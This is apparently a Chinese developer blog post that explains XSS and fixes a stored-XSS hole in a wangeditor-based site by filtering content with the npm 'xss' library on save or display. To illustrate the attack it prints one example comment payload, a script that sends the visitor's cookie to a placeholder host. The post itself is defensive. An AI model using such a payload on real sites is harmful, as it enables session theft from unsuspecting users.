当前位置: 首页 > article >正文

bug-xss 攻击漏洞问题

XSS 攻击漏洞是什么

XSS(Cross-Site Scripting)攻击:通过在网站上植入恶意脚本来攻击用户

举例说明

在留言板发布评论,评论内容包含恶意脚本:

<script>document.location = "http://xxx.com/getCookie?cookie=" + document.cookie;</script>

当用户看到评论时,就会触发响应,将用户cookie发送到攻击者手中

问题描述

前端使用wangeditor富文本编辑器,正常情况下编辑器都会把内容进行转码处理,转码之后就回避xss问题,这次的问题是通过一些手段提及内容(比如postman),这样提交的代码就没有经过编辑器进行转码,读取数据时就会触发恶意代码。

解决方法

  1. 方法一:后端拿到数据后,再进行一次转码,保障进入数据库的内容是转码后的;
  2. 方法二:读取后端数据后,对要展示的数据再进行一次转码,相当于保存和读取都进行转码。

转码工具

https://jsxss.com/zh/index.html

// 安装
npm i xss
// 引用
import filterXSS from 'xss'
const newStr=filterXSS(htmlStr); // 进行转码

http://www.kler.cn/a/132525.html

相关文章:

  • docker--工作目录迁移
  • MODBUS TCP转CANOpen网关
  • 【分布式技术】ES扩展知识-Elasticsearch分词器的知识与选择
  • VSCode 常用的快捷键
  • DHTMLX-gantt组件显示不同的颜色
  • 【Mysql】Mysql函数(上)
  • 技术架构 - 应用数据分离,应用服务集群架构
  • asp.net core mvc 控制器使用配置
  • 专注于绘画,不受限制!尝试Growly Draw for Mac的快速绘画应用
  • spider 网页爬虫中的 AWS 实例数据获取问题及解决方案
  • 阿里云服务器 手动搭建WordPress(CentOS 8)
  • AI Navigation导航系统_unity基础开发教程
  • 带你快速掌握Linux最常用的命令(图文详解)- 最新版(面试笔试常考)
  • 如何使用Java实现权限认证和登录jwt
  • 深入解析 binding:“required“ 与 validate:“required“ 的区别
  • python时间变化与字符串替换技术及读JSON文件等实践笔记
  • 如何利用TSINGSEE青犀智能分析网关算法从人员、设备、行为三大角度进行监狱智能化升级改造
  • 【LabVIEW学习】2.for,while,事件
  • UE5制作场景时的小技巧和注意事项
  • 【开源】基于Vue.js的音乐偏好度推荐系统的设计和实现
  • 在 el-table 中嵌入 el-checkbox el-input el-upload 多组件,实现复杂业务场景
  • 深度学习(五)softmax 回归之:分类算法介绍,如何加载 Fashion-MINIST 数据集
  • Java重写和重载的区别,
  • QT 使用mysql
  • 接口和接口测试
  • ARDUINO UNO 12颗LED超酷流水灯效果